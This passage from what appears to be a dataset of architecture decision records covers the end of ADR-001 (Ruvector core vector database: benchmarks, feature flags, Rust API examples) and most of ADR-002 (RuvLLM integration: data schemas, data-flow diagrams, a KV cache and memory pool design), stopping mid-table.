Sub-millisecond latency enables real-time AI applications\n2. **Portability**: Single codebase runs native, WASM, and PostgreSQL\n3. **Memory Efficiency**: 2-32x compression makes large datasets practical on edge\n4. **Integration**: Native Rust means zero-cost abstractions for embedding in other systems\n5. **Learning**: GNN layers can improve search quality without reindexing\n\n### Risks and Mitigations\n\n| Risk | Probability | Impact | Mitigation |\n|------|-------------|--------|------------|\n| HNSW recall < 100% | High | Medium | ef_search tuning, hybrid with exact search |\n| Quantization accuracy loss | Medium | Medium | Conformal prediction bounds |\n| WASM performance gap | Medium | Low | Specialized WASM-optimized builds |\n| API embeddings require external call | High | Low | Local embedding option via ONNX |\n\n### Performance Targets\n\n| Metric | Target | Achieved |\n|--------|--------|----------|\n| HNSW Search (k=10, 384-dim) | < 100us p50 | 61us |\n| HNSW Search (k=100, 384-dim) | < 200us p50 | 164us |\n| Cosine Distance (1536-dim) | < 200ns | 143ns |\n| Dot Product (384-dim) | < 50ns | 33ns |\n| Batch Distance (1000 vectors) | < 500us | 237us |\n| QPS (10K vectors, k=10) | > 10K | 16,400 |\n\n---\n\n## Implementation Status\n\n### Completed (v0.1.x)\n\n| Module | Status | Description |\n|--------|--------|-------------|\n| `simd_intrinsics` | Complete | AVX2/NEON dispatch with scalar fallback |\n| `distance` | Complete | All 4 metrics with SimSIMD integration |\n| `index/hnsw` | Complete | Full HNSW with serialization |\n| `index/flat` | Complete | Linear scan baseline |\n| `quantization` | Complete | Scalar, Product, Binary |\n| `storage` | Complete | REDB-based with connection pooling |\n| `storage_memory` | Complete | In-memory for WASM |\n| `types` | Complete | Core types with serde |\n| `error` | Complete | Error types with thiserror |\n| `vector_db` | Complete | High-level API |\n| `agenticdb` | Complete | AI agent memory interface |\n\n### Advanced Features\n\n| Module | Status | Description |\n|--------|--------|-------------|\n| `advanced_features/filtered_search` | Complete | Metadata-based filtering |\n| `advanced_features/hybrid_search` | Complete | Dense + sparse (BM25) |\n| `advanced_features/mmr` | Complete | Maximal Marginal Relevance |\n| `advanced_features/conformal_prediction` | Complete | Uncertainty quantification |\n| `advanced_features/product_quantization` | Complete | Enhanced PQ with training |\n\n### Research Features (`advanced/`)\n\n| Module | Status | Description |\n|--------|--------|-------------|\n| `hypergraph` | Experimental | Hyperedge relationships |\n| `learned_index` | Experimental | Neural index structures |\n| `neural_hash` | Experimental | LSH with neural tuning |\n| `tda` | Experimental | Topological data analysis |\n\n---\n\n## Feature Flags\n\n| Feature | Default | Description |\n|---------|---------|-------------|\n| `default` | Yes | simd, storage, hnsw, api-embeddings, parallel |\n| `simd` | Yes | SimSIMD acceleration |\n| `parallel` | Yes | Rayon parallel processing |\n| `storage` | Yes | REDB file-based storage |\n| `hnsw` | Yes | HNSW index support |\n| `api-embeddings` | Yes | HTTP-based embedding providers |\n| `memory-only` | No | Pure in-memory (WASM) |\n| `real-embeddings` | No | Deprecated, use api-embeddings |\n\n---\n\n## Dependencies\n\n### Core Dependencies\n\n| Dependency | Version | Purpose |\n|------------|---------|---------|\n| `hnsw_rs` | workspace | HNSW implementation |\n| `simsimd` | workspace | SIMD distance functions |\n| `rayon` | workspace | Parallel iteration |\n| `redb` | workspace | Embedded database |\n| `bincode` | workspace | Binary serialization |\n| `dashmap` | workspace | Concurrent hash map |\n| `parking_lot` | workspace | Optimized locks |\n\n### Optional Dependencies\n\n| Dependency | Feature | Purpose |\n|------------|---------|---------|\n| `reqwest` | api-embeddings | HTTP client for embedding APIs |\n| `memmap2` | storage | Memory-mapped files |\n| `crossbeam` | parallel | Lock-free data structures |\n\n---\n\n## API Examples\n\n### Basic Vector Search\n\n```rust\nuse ruvector_core::{VectorDB, DistanceMetric, HnswConfig};\n\n// Create database\nlet config = HnswConfig {\n m: 32,\n ef_construction: 200,\n ef_search: 100,\n max_elements: 1_000_000,\n};\nlet mut db = VectorDB::new(384, DistanceMetric::Cosine, config)?;\n\n// Insert vectors\ndb.insert(\"doc_1\".to_string(), vec![0.1; 384])?;\ndb.insert(\"doc_2\".to_string(), vec![0.2; 384])?;\n\n// Search\nlet query = vec![0.15; 384];\nlet results = db.search(&query, 10)?;\n```\n\n### Quantized Search\n\n```rust\nuse ruvector_core::quantization::{ScalarQuantized, QuantizedVector};\n\n// Quantize vectors for storage\nlet quantized = ScalarQuantized::quantize(&vector);\n\n// Distance in quantized space\nlet distance = quantized.distance(&other_quantized);\n\n// Reconstruct if needed\nlet reconstructed = quantized.reconstruct();\n```\n\n### Batch Operations\n\n```rust\nuse ruvector_core::distance::batch_distances;\n\n// Calculate distances to many vectors in parallel\nlet distances = batch_distances(\n &query,\n &corpus_vectors,\n DistanceMetric::Cosine,\n)?;\n```\n\n---\n\n## References\n\n1. Malkov, Y., & Yashunin, D. (2018). \"Efficient and robust approximate nearest neighbor search using Hierarchical Navigable Small World graphs.\" arXiv:1603.09320.\n\n2. Jegou, H., Douze, M., & Schmid, C. (2011). \"Product quantization for nearest neighbor search.\" IEEE TPAMI.\n\n3. RuVector Team. \"ruvector-core Benchmarks.\" /crates/ruvector-core/benches/\n\n4. SimSIMD Documentation. https://github.com/ashvardanian/SimSIMD\n\n---\n\n## Appendix A: SIMD Register Usage\n\n### AVX2 (256-bit registers)\n\n```\n+-------+-------+-------+-------+-------+-------+-------+-------+\n| f32 | f32 | f32 | f32 | f32 | f32 | f32 | f32 |\n+-------+-------+-------+-------+-------+-------+-------+-------+\n [0] [1] [2] [3] [4] [5] [6] [7]\n\nOperations per cycle:\n- _mm256_loadu_ps: Load 8 floats\n- _mm256_sub_ps: 8 subtractions\n- _mm256_mul_ps: 8 multiplications\n- _mm256_add_ps: 8 additions\n```\n\n### NEON (128-bit registers)\n\n```\n+-------+-------+-------+-------+\n| f32 | f32 | f32 | f32 |\n+-------+-------+-------+-------+\n [0] [1] [2] [3]\n\nOperations per cycle:\n- vld1q_f32: Load 4 floats\n- vsubq_f32: 4 subtractions\n- vfmaq_f32: 4 fused multiply-add\n- vaddvq_f32: Horizontal sum\n```\n\n---\n\n## Appendix B: Memory Layout\n\n### VectorEntry\n\n```\n+------------------+------------------+------------------+\n| id: String | vector: Vec| metadata: JSON |\n| (optional) | (required) | (optional) |\n+------------------+------------------+------------------+\n```\n\n### HNSW Graph Structure\n\n```\nLevel 3: [v0] -------- [v5]\n \\ /\nLevel 2: [v0] -- [v3] -- [v5] -- [v9]\n \\ / \\ / \\\nLevel 1: [v0]-[v1]-[v3]-[v4]-[v5]-[v7]-[v9]\n | | | | | | |\nLevel 0: [v0]-[v1]-[v2]-[v3]-[v4]-[v5]-[v6]-[v7]-[v8]-[v9]\n```\n\n---\n\n## Appendix C: Benchmark Results\n\n### Platform: Apple M2 (ARM64 NEON)\n\n```\nHNSW Search k=10 (10K vectors, 384-dim):\n p50: 61us\n p95: 89us\n p99: 112us\n Throughput: 16,400 QPS\n\nHNSW Search k=100 (10K vectors, 384-dim):\n p50: 164us\n p95: 203us\n p99: 245us\n Throughput: 6,100 QPS\n\nDistance Operations (1536-dim):\n Cosine: 143ns\n Euclidean: 156ns\n Dot Product: 33ns (384-dim)\n\nBatch Distance (1000 vectors, 384-dim):\n Parallel (Rayon): 237us\n Sequential: 890us\n```\n\n### Platform: Intel i7 (AVX2)\n\n```\nHNSW Search k=10 (10K vectors, 384-dim):\n p50: 72us\n p95: 105us\n p99: 134us\n Throughput: 13,900 QPS\n\nDistance Operations (1536-dim):\n Cosine: 128ns\n Euclidean: 141ns\n Dot Product: 29ns (384-dim)\n```\n\n---\n\n## Related Decisions\n\n- **ADR-002**: RuvLLM Integration with Ruvector\n- **ADR-003**: SIMD Optimization Strategy\n- **ADR-004**: KV Cache Management\n- **ADR-005**: WASM Runtime Integration\n- **ADR-006**: Memory Management\n- **ADR-007**: Security Review & Technical Debt\n\n---\n\n## Implementation Status (v2.1)\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| HNSW Index | \u2705 Implemented | M=32, ef_construct=256, 16K QPS |\n| SIMD Distance | \u2705 Implemented | AVX2/NEON with fallback |\n| Scalar Quantization | \u2705 Implemented | 8-bit with min/max scaling |\n| Batch Operations | \u2705 Implemented | Rayon parallel distances |\n| Graph Store | \u2705 Implemented | Adjacency list with metadata |\n| Persistence | \u2705 Implemented | Binary format with versioning |\n\n**Security Status:** Core components reviewed. No critical vulnerabilities in ruvector-core. See ADR-007 for full audit (RuvLLM-specific issues).\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-18 | Ruvector Architecture Team | Initial version |\n| 1.1 | 2026-01-19 | Security Review Agent | Added implementation status, related decisions |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-001-ruvector-core-architecture.md", "created_at": "2026-03-28T11:58:48.729553+00:00", "content_hash": "59db2a9bc5ce3d7aaf2e0c8a2b7e031c72c1d2e13cf465c679b04dd6367facd4"} +{"id": "acfa49f6-61c8-48c7-8564-17b3abb20e56", "source": "adr", "text": "# ADR-002: RuvLLM Integration with Ruvector\n\n**Status:** Proposed\n**Date:** 2026-01-18\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** LLM Serving Runtime / Vector Memory Integration\n\n---\n\n## Context and Problem Statement\n\nRuvLLM is an edge-focused LLM serving runtime designed for portable, high-performance inference across heterogeneous hardware. Built with Rust, SIMD optimizations, and WASM support, RuvLLM aims to deliver sub-millisecond orchestration latency while enabling continuous self-improvement through the SONA (Self-Optimizing Neural Architecture) framework.\n\nThe integration with Ruvector provides RuvLLM with intelligent memory capabilities, transforming it from a static inference engine into a learning system that improves with every interaction.\n\n### Current State\n\nRuvLLM currently implements:\n- **LFM2 Cortex**: Frozen reasoning engine (135M-2.6B parameters)\n- **FastGRNN Router**: Intelligent model selection with sparse + low-rank matrices\n- **Graph Attention Engine**: Multi-head attention with edge features\n- **SONA Learning Loops**: Three-tier temporal learning (instant/hourly/weekly)\n- **SIMD Inference**: Native AVX2/AVX512/SSE4.1 operations\n- **Q4 Quantization**: 4-bit weight quantization for memory efficiency\n\n### Key Challenges\n\n1. **Memory Pressure**: Edge devices have limited RAM; KV cache and LoRA adapters compete for resources\n2. **Cache Coherency**: Long context sessions require efficient KV cache management with quantization fallback\n3. **Learning Without Forgetting**: SONA needs persistent pattern storage that survives restarts\n4. **Audit and Debugging**: Production systems require semantic search over execution logs\n5. **Cross-Session Learning**: Federated agents need to share learned patterns efficiently\n\n---\n\n## Decision Drivers\n\n### Performance Requirements\n- **Orchestration latency**: <1ms end-to-end (embedding + retrieval + routing)\n- **KV cache lookup**: <100us for session state recovery\n- **Pattern search**: <2ms for HNSW-indexed policy retrieval\n- **Memory footprint**: Support 50MB base + variable cache tiers\n\n### Scalability Requirements\n- **Concurrent sessions**: 1000+ active sessions with KV cache\n- **Pattern capacity**: 100K+ learned patterns in ReasoningBank\n- **Witness logs**: Retention of 7+ days of audit data\n- **Federated sync**: Efficient pattern transfer between edge nodes\n\n### Portability Requirements\n- **WASM support**: Full functionality in browser/edge environments\n- **No native dependencies**: sql.js for SQLite, pure-Rust HNSW\n- **Platform agnostic**: x86_64, ARM64, WASM32 targets\n\n---\n\n## Considered Options\n\n### Option A: Separate Memory Systems\n\nMaintain independent storage for each concern:\n- Redis for session state\n- PostgreSQL for audit logs\n- Custom file format for learned patterns\n\n**Pros:**\n- Specialized tools for each concern\n- Familiar operational patterns\n\n**Cons:**\n- Multiple systems to manage\n- No unified semantic search\n- Complex deployment on edge devices\n- No cross-concern intelligence\n\n### Option B: Ruvector as Unified Memory Layer\n\nUse Ruvector's vector database with HNSW indexing, graph storage, and metadata capabilities as the single memory substrate for all RuvLLM concerns.\n\n**Pros:**\n- Single deployment artifact\n- Unified vector search across all data types\n- Graph relationships between sessions, patterns, and logs\n- WASM-compatible for edge deployment\n- Self-learning hooks enable continuous improvement\n\n**Cons:**\n- Ruvector must support all access patterns efficiently\n- Custom encoding for some data types\n- Learning curve for operators\n\n### Option C: Tiered Memory with Ruvector Core\n\nRuvector handles hot/warm data; external cold storage for archives.\n\n**Pros:**\n- Best of both worlds\n- Cost-effective long-term storage\n\n**Cons:**\n- Additional complexity for tiering logic\n- Two systems to manage\n\n---\n\n## Decision Outcome\n\n**Chosen Option: Option B - Ruvector as Unified Memory Layer**\n\nRuvector provides a cohesive memory substrate that aligns with RuvLLM's edge-first philosophy. The unified HNSW index enables semantic search across policies, sessions, and logs while the graph layer captures relationships between these entities.\n\n### Rationale\n\n1. **Single binary deployment**: Edge devices benefit from one runtime\n2. **Semantic unification**: All data becomes searchable by meaning\n3. **Graph intelligence**: Relationships between patterns and sessions drive routing\n4. **WASM portability**: Both RuvLLM and Ruvector target WASM\n5. **SONA alignment**: Three-tier learning maps naturally to Ruvector's architecture\n\n---\n\n## Technical Specifications\n\n### Ruvector Integration Roles\n\nRuvector serves three distinct but interconnected roles in the RuvLLM architecture:\n\n```\n+-----------------------------------------------------------------------+\n| RUVECTOR INTEGRATION ARCHITECTURE |\n+-----------------------------------------------------------------------+\n| |\n| +-------------------+ +-------------------+ +--------------+ |\n| | POLICY MEMORY | | SESSION STATE | | WITNESS LOG | |\n| | STORE | | INDEX | | INDEX | |\n| | | | | | | |\n| | - Quantization | | - KV cache keys | | - Routing | |\n| | thresholds | | - Adapter refs | | decisions | |\n| | - Router weights | | - Cache locality | | - Quality | |\n| | - EWC++ Fisher | | - Session graphs | | scores | |\n| | - Pattern bank | | - Conversation | | - Latency | |\n| | | | history | | traces | |\n| +--------+----------+ +---------+---------+ +------+-------+ |\n| | | | |\n| +-------------+------------+----------+-----------+ |\n| | | |\n| v v |\n| +-----------+------------+ +-------+--------+ |\n| | HNSW INDEX LAYER | | GRAPH STORE | |\n| | (Unified Search) | | (Relations) | |\n| +------------------------+ +----------------+ |\n| |\n+-----------------------------------------------------------------------+\n```\n\n#### Role A: Policy Memory Store\n\nStores learned thresholds and parameters that inform runtime decisions.\n\n**Data Schema:**\n```rust\n/// Policy entry stored in Ruvector\nstruct PolicyEntry {\n /// Unique identifier\n id: Uuid,\n /// Policy type: \"quantization\", \"router\", \"ewc\", \"pattern\"\n policy_type: String,\n /// Embedding vector for semantic search (768-D)\n embedding: Vec,\n /// Policy parameters as JSON\n parameters: serde_json::Value,\n /// Confidence score from learning\n confidence: f32,\n /// Fisher information (for EWC++ policies)\n fisher_diagonal: Option>,\n /// Creation timestamp\n created_at: DateTime,\n /// Last accessed (for LRU eviction)\n last_accessed: DateTime,\n /// Source: \"instant_loop\", \"background_loop\", \"deep_loop\", \"federated\"\n source: String,\n}\n\n/// Quantization threshold policy\nstruct QuantizationPolicy {\n /// Layer indices affected\n layer_range: (usize, usize),\n /// Precision: \"fp16\", \"q8\", \"q4_k\", \"q4_0\"\n precision: String,\n /// Activation threshold triggering this precision\n activation_threshold: f32,\n /// Memory budget constraint (bytes)\n memory_budget: usize,\n /// Learned quality-latency tradeoff\n quality_weight: f32,\n}\n\n/// Router weight policy\nstruct RouterPolicy {\n /// FastGRNN cell parameters\n cell_weights: FastGRNNWeights,\n /// Output head biases\n head_biases: RouterHeadBiases,\n /// EWC regularization strength\n ewc_lambda: f32,\n /// Training loss at checkpoint\n training_loss: f32,\n}\n```\n\n**Access Patterns:**\n- **Write**: After background/deep learning loops complete\n- **Read**: On every inference request (cached locally with TTL)\n- **Search**: By policy type + semantic similarity to current context\n\n#### Role B: Session State Index\n\nManages multi-turn conversation state including KV cache references and adapter selection.\n\n**Data Schema:**\n```rust\n/// Session state entry\nstruct SessionState {\n /// Session identifier\n session_id: String,\n /// User/tenant identifier\n user_id: Option,\n /// Embedding of conversation context (768-D)\n context_embedding: Vec,\n /// Reference to KV cache location\n kv_cache_ref: KvCacheReference,\n /// Currently active LoRA adapter ID\n active_adapter: Option,\n /// Conversation turn count\n turn_count: u32,\n /// Last activity timestamp\n last_active: DateTime,\n /// Session metadata\n metadata: HashMap,\n}\n\n/// KV cache reference with tiered storage\nstruct KvCacheReference {\n /// Cache storage tier: \"hot\", \"warm\", \"cold\"\n tier: CacheTier,\n /// Location identifier\n location: CacheLocation,\n /// Number of cached tokens\n cached_tokens: usize,\n /// Quantization level of cached KV pairs\n quantization: CacheQuantization,\n /// Cache creation timestamp\n created_at: DateTime,\n}\n\n/// Two-tier KV cache configuration\nenum CacheQuantization {\n /// High-precision tail (last N tokens) - FP16\n HighPrecisionTail {\n tail_length: usize,\n precision: String,\n },\n /// Quantized store (older tokens) - Q4/Q8\n QuantizedStore {\n precision: String,\n compression_ratio: f32,\n },\n /// Hybrid: tail in FP16, rest in Q4\n Hybrid {\n tail_length: usize,\n tail_precision: String,\n store_precision: String,\n },\n}\n```\n\n**Access Patterns:**\n- **Write**: On session creation, after each turn, on adapter switch\n- **Read**: On every request (session recovery)\n- **Search**: By user_id, by context similarity, by adapter requirements\n- **Expire**: Background task evicts stale sessions\n\n#### Role C: Witness Log Index\n\nEnables postmortem analysis and audit queries over execution history.\n\n**Data Schema:**\n```rust\n/// Execution witness log entry\nstruct WitnessEntry {\n /// Unique request identifier\n request_id: Uuid,\n /// Associated session ID\n session_id: String,\n /// Query embedding for semantic search (768-D)\n query_embedding: Vec,\n /// Routing decision made\n routing_decision: RoutingDecision,\n /// Model used for generation\n model_used: ModelSize,\n /// Quality score (0.0 - 1.0) from evaluation\n quality_score: f32,\n /// End-to-end latency breakdown\n latency: LatencyBreakdown,\n /// Context documents retrieved\n context_doc_ids: Vec,\n /// Response embedding for clustering\n response_embedding: Vec,\n /// Timestamp\n timestamp: DateTime,\n /// Error details if failed\n error: Option,\n}\n\n/// Latency breakdown for profiling\nstruct LatencyBreakdown {\n /// Embedding generation time\n embedding_ms: f32,\n /// HNSW retrieval time\n retrieval_ms: f32,\n /// Router decision time\n routing_ms: f32,\n /// Graph attention time\n attention_ms: f32,\n /// LLM generation time\n generation_ms: f32,\n /// Total end-to-end time\n total_ms: f32,\n}\n\n/// Routing decision record\nstruct RoutingDecision {\n /// Selected model\n model: ModelSize,\n /// Context size bucket\n context_size: usize,\n /// Temperature used\n temperature: f32,\n /// Top-p used\n top_p: f32,\n /// Router confidence\n confidence: f32,\n /// Model probability distribution\n model_probs: [f32; 4],\n}\n```\n\n**Access Patterns:**\n- **Write**: Async after every request completion\n- **Read**: On-demand for debugging, analytics dashboards\n- **Search**: By time range, by quality threshold, by semantic similarity\n- **Aggregate**: Quality trends, latency percentiles, model usage stats\n\n---\n\n### Data Flow Architecture\n\n#### Vector Flow: Embeddings to Ruvector\n\n```\n+-----------------------------------------------------------------------+\n| VECTOR DATA FLOW |\n+-----------------------------------------------------------------------+\n| |\n| User Query |\n| | |\n| v |\n| +-------------------+ |\n| | LFM2 Embedder | (768-D embedding, ~50ms) |\n| | - Tokenize | |\n| | - Encode | |\n| | - Project | |\n| | - Normalize | |\n| +--------+----------+ |\n| | |\n| v |\n| +--------+----------+ +-------------------+ |\n| | Query Embedding |---->| RUVECTOR HNSW | |\n| | (768-D vector) | | - M=32, ef=64 | |\n| +-------------------+ | - Cosine dist | |\n| +---------+---------+ |\n| | |\n| +--------------+-----------+-----------+ |\n| | | | |\n| v v v |\n| +--------+-------+ +----+--------+ +-------+------+ |\n| | Policy Search | | Session | | Context | |\n| | (quantization, | | Recovery | | Retrieval | |\n| | routing) | | (KV cache) | | (documents) | |\n| +----------------+ +-------------+ +--------------+ |\n| |\n+-----------------------------------------------------------------------+\n```\n\n#### Scheduling Decision Flow: Ruvector Informs Routing\n\n```\n+-----------------------------------------------------------------------+\n| SCHEDULING DECISION FLOW |\n+-----------------------------------------------------------------------+\n| |\n| Query Features (128-D) |\n| | |\n| +----> Length, complexity, domain signals |\n| | |\n| v |\n| +-------------------+ |\n| | POLICY LOOKUP | Search Ruvector for relevant policies |\n| +--------+----------+ |\n| | |\n| v |\n| +-------------------+ +-------------------+ |\n| | Retrieved | | Historical | |\n| | - Quant policy | | - Success rate | |\n| | - Router weights | | per model | |\n| | - EWC constraints | | - Avg latency | |\n| +--------+----------+ +---------+---------+ |\n| | | |\n| +------------+-------------+ |\n| | |\n| v |\n| +---------------------+------------------+ |\n| | FASTGRNN ROUTER | |\n| | | |\n| | Inputs: | |\n| | - Query features (128-D) | |\n| | - Policy parameters | |\n| | - Historical performance | |\n| | | |\n| | Outputs: | |\n| | - Model selection (350M/700M/1.2B/ | |\n| | 2.6B) | |\n| | - Context size bucket | |\n| | - Temperature, top-p | |\n| | - Confidence score | |\n| +--------------------+-------------------+ |\n| | |\n| v |\n| +--------------------+-------------------+ |\n| | KV CACHE MANAGEMENT | |\n| | | |\n| | Two-Tier Architecture: | |\n| | +----------------+ +---------------+ | |\n| | | High-Precision | | Quantized | | |\n| | | Tail (FP16) | | Store (Q4/Q8) | | |\n| | | Last N tokens | | Older tokens | | |\n| | +----------------+ +---------------+ | |\n| | | |\n| | Decision factors from Ruvector: | |\n| | - Session importance score | |\n| | - Memory pressure signals | |\n| | - Quality requirements | |\n| +----------------------------------------+ |\n| |\n+-----------------------------------------------------------------------+\n```\n\n#### Audit Log Indexing Flow\n\n```\n+-----------------------------------------------------------------------+\n| AUDIT LOG INDEXING |\n+-----------------------------------------------------------------------+\n| |\n| Request Completion |\n| | |\n| v |\n| +-------------------+ |\n| | WITNESS BUILDER | Construct audit entry |\n| | | |\n| | - Query embedding | |\n| | - Response embed | |\n| | - Routing record | |\n| | - Latency trace | |\n| | - Quality score | |\n| +--------+----------+ |\n| | |\n| v (async, non-blocking) |\n| +-------------------+ |\n| | WRITEBACK QUEUE | Batch writes for efficiency |\n| | - Max batch: 100 | |\n| | - Max wait: 1s | |\n| +--------+----------+ |\n| | |\n| v |\n| +-------------------+ +-------------------+ |\n| | RUVECTOR INSERT | | GRAPH EDGES | |\n| | - HNSW index | | - Session links | |\n| | - Metadata store | | - Similar queries | |\n| +-------------------+ +-------------------+ |\n| |\n| Query Patterns: |\n| +-------------------+ |\n| | POSTMORTEM SEARCH | |\n| | | |\n| | - \"Find requests | |\n| | with quality | |\n| | < 0.5\" | |\n| | | |\n| | - \"Similar errors | |\n| | to this one\" | |\n| | | |\n| | - \"Latency spikes | |\n| | in last hour\" | |\n| +-------------------+ |\n| |\n+-----------------------------------------------------------------------+\n```\n\n---\n\n### Paged Attention Mechanism (mistral.rs-inspired)\n\nRuvLLM implements a paged attention system inspired by mistral.rs for efficient KV cache management:\n\n```rust\n/// Paged attention configuration\nstruct PagedAttentionConfig {\n /// Page size in tokens\n page_size: usize, // Default: 16 tokens\n /// Maximum pages per sequence\n max_pages: usize,\n /// Page table size\n page_table_capacity: usize,\n /// Block allocator strategy\n allocation_strategy: AllocationStrategy,\n}\n\n/// Two-tier KV cache implementation\nstruct TwoTierKvCache {\n /// High-precision tail: most recent tokens in FP16\n /// Critical for attention quality on recent context\n high_precision_tail: PagedCache,\n\n /// Quantized store: older tokens in Q4/Q8\n /// Compressed for memory efficiency\n quantized_store: PagedCache,\n\n /// Boundary position between tiers\n tier_boundary: AtomicUsize,\n\n /// Policy reference from Ruvector\n quantization_policy: Arc>,\n}\n\nimpl TwoTierKvCache {\n /// Append new KV pairs, managing tier transitions\n fn append(&mut self, keys: &[f16], values: &[f16]) {\n // Add to high-precision tail\n self.high_precision_tail.append(keys, values);\n\n // Check if tail exceeds threshold\n if self.high_precision_tail.len() > self.policy().tail_threshold {\n // Migrate oldest tokens to quantized store\n let to_migrate = self.high_precision_tail.pop_oldest(MIGRATION_BATCH);\n let quantized = self.quantize_kv_pairs(&to_migrate);\n self.quantized_store.append(&quantized);\n }\n }\n\n /// Attention computation with tier-aware access\n fn attend(&self, query: &[f16], mask: &AttentionMask) -> Vec {\n // Compute attention over both tiers\n let tail_attn = self.high_precision_tail.attend(query, mask);\n let store_attn = self.quantized_store.attend_quantized(query, mask);\n\n // Weighted combination based on position decay\n combine_attention(tail_attn, store_attn, &self.position_weights())\n }\n}\n```\n\n---\n\n### Unified Memory Pool Architecture\n\nA single memory pool manages both KV cache and LoRA adapters to prevent fragmentation:\n\n```rust\n/// Unified memory pool for KV cache and LoRA adapters\nstruct UnifiedMemoryPool {\n /// Total memory budget\n total_budget: usize,\n\n /// Allocations by type\n allocations: DashMap,\n\n /// Priority queue for eviction\n eviction_queue: Mutex>,\n\n /// Ruvector connection for persistence policies\n ruvector: Arc,\n}\n\n/// Allocation types sharing the pool\nenum AllocationType {\n /// KV cache pages\n KvCache {\n session_id: String,\n tier: CacheTier,\n page_count: usize,\n },\n /// LoRA adapter weights\n LoraAdapter {\n adapter_id: String,\n rank: usize,\n layer_count: usize,\n },\n /// FastGRNN router weights\n RouterWeights {\n version: u64,\n },\n}\n\nimpl UnifiedMemoryPool {\n /// Allocate memory, evicting if necessary\n fn allocate(&self, request: AllocationRequest) -> Result {\n let required = request.size_bytes();\n\n // Check available memory\n while self.available() < required {\n // Evict lowest priority allocation\n let victim = self.eviction_queue.lock().pop()\n .ok_or(Error::OutOfMemory)?;\n\n // Persist to Ruvector before eviction\n self.persist_to_ruvector(&victim)?;\n\n self.free(victim.allocation_id);\n }\n\n // Allocate and track\n let id = self.do_allocate(request)?;\n self.update_eviction_priority(&id);\n\n Ok(id)\n }\n\n /// Persist allocation to Ruvector for recovery\n fn persist_to_ruvector(&self, alloc: &Allocation) -> Result<()> {\n match &alloc.allocation_type {\n AllocationType::KvCache { session_id, .. } => {\n // Store KV cache reference for later recovery\n self.ruvector.store_session_cache_ref(session_id, alloc)?;\n }\n AllocationType::LoraAdapter { adapter_id, .. } => {\n // Store adapter checkpoint\n self.ruvector.store_adapter_checkpoint(adapter_id, alloc)?;\n }\n _ => {}\n }\n Ok(())\n }\n}\n```\n\n---\n\n### WASM Kernel Packs\n\nPluggable optimization kernels delivered as WASM modules:\n\n```rust\n/// WASM kernel pack interface\ntrait WasmKernelPack: Send + Sync {\n /// Kernel identification\n fn id(&self) -> &str;\n fn version(&self) -> &str;\n\n /// Capability declarations\n fn capabilities(&self) -> KernelCapabilities;\n\n /// Execute kernel\n fn execute(&self, inputs: &KernelInputs) -> Result;\n}\n\n/// Available kernel types\nenum KernelType {\n /// Attention computation kernel\n Attention {\n variant: AttentionVariant, // Standard, Flash, PagedFlash\n precision: Precision, // FP16, Q8, Q4\n },\n /// Matrix multiplication kernel\n MatMul {\n variant: MatMulVariant, // Standard, Tiled, Strassen\n precision: Precision,\n },\n /// Quantization kernel\n Quantize {\n from_precision: Precision,\n to_precision: Precision,\n method: QuantMethod, // RTN, GPTQ, AWQ\n },\n /// Embedding kernel\n Embed {\n method: EmbedMethod, // Lookup, Fused\n },\n}\n\n/// Kernel pack registry with Ruvector-backed discovery\nstruct KernelRegistry {\n /// Loaded kernels\n kernels: DashMap>,\n\n /// Ruvector for kernel metadata and selection history\n ruvector: Arc,\n\n /// Runtime selection based on hardware\n selector: KernelSelector,\n}\n\nimpl KernelRegistry {\n /// Select optimal kernel for operation\n fn select(&self, operation: &Operation) -> Result<&dyn WasmKernelPack> {\n // Check Ruvector for learned preferences\n let history = self.ruvector.search_kernel_performance(operation)?;\n\n // Select based on historical performance + capabilities\n let kernel_id = self.selector.select(operation, &history)?;\n\n self.kernels.get(&kernel_id)\n .map(|k| k.value().as_ref())\n .ok_or(Error::KernelNotFound)\n }\n\n /// Record kernel performance for learning\n fn record_performance(&self, kernel_id: &str, metrics: KernelMetrics) -> Result<()> {\n self.ruvector.store_kernel_performance(kernel_id, metrics)\n }\n}\n```\n\n---\n\n### Integration with SONA Learning Loops\n\nRuvector enables SONA's three-tier temporal learning:\n\n```\n+-----------------------------------------------------------------------+\n| SONA + RUVECTOR INTEGRATION |\n+-----------------------------------------------------------------------+\n| |\n| LOOP A: INSTANT (Per-Request, <1ms) |\n| +-------------------------------------------------------------------+|\n| | 1. Record trajectory to ring buffer (in-memory) ||\n| | 2. Update edge weights in Ruvector graph (+/- 5%) ||\n| | 3. MicroLoRA adjustment (rank 1-2, top-k params) ||\n| | 4. Async write witness entry to Ruvector ||\n| +-------------------------------------------------------------------+|\n| |\n| LOOP B: BACKGROUND (Hourly, 10 seconds) |\n| +-------------------------------------------------------------------+|\n| | 1. Query Ruvector for recent high-quality trajectories ||\n| | 2. Train router on accumulated data ||\n| | 3. Compute Fisher Information for EWC++ ||\n| | 4. Update LoRA base matrices (rank 4-8) ||\n| | 5. Store new policy entries in Ruvector ||\n| | 6. Checkpoint router weights to Ruvector ||\n| +-------------------------------------------------------------------+|\n| |\n| LOOP C: DEEP (Weekly, 10 minutes) |\n| +-------------------------------------------------------------------+|\n| | 1. Full consolidation: Query all patterns from Ruvector ||\n| | 2. K-means++ clustering to extract pattern bank ||\n| | 3. Memory compression: Prune redundant nodes ||\n| | 4. Archive old witness logs to cold storage ||\n| | 5. Cross-session knowledge transfer via graph traversal ||\n| | 6. Store consolidated patterns back to Ruvector ||\n| +-------------------------------------------------------------------+|\n| |\n+-----------------------------------------------------------------------+\n```\n\n---\n\n## Consequences\n\n### Positive Consequences\n\n1. **Unified semantic search**: All data types (policies, sessions, logs) searchable by meaning\n2. **Portable deployment**: Single binary with Ruvector embedded works on edge devices\n3. **Continuous improvement**: SONA loops have persistent storage for learning\n4. **Debugging capability**: Semantic audit logs enable intelligent postmortem analysis\n5. **Memory efficiency**: Unified pool prevents fragmentation; tiered KV cache reduces pressure\n6. **Federated learning**: Ruvector facilitates pattern sharing between nodes\n\n### Negative Consequences\n\n1. **Ruvector dependency**: Core functionality tied to Ruvector's capabilities\n2. **Storage overhead**: Vector embeddings add space requirements (~3KB per entry)\n3. **Complexity**: Three integration roles require careful schema design\n4. **Cold start**: Initial requests lack learned policies until training accumulates\n\n### Mitigation Strategies\n\n| Risk | Mitigation |\n|------|------------|\n| Ruvector dependency | Design clean abstraction layer; fallback to simple LRU cache |\n| Storage overhead | Aggressive compression for cold data; time-based 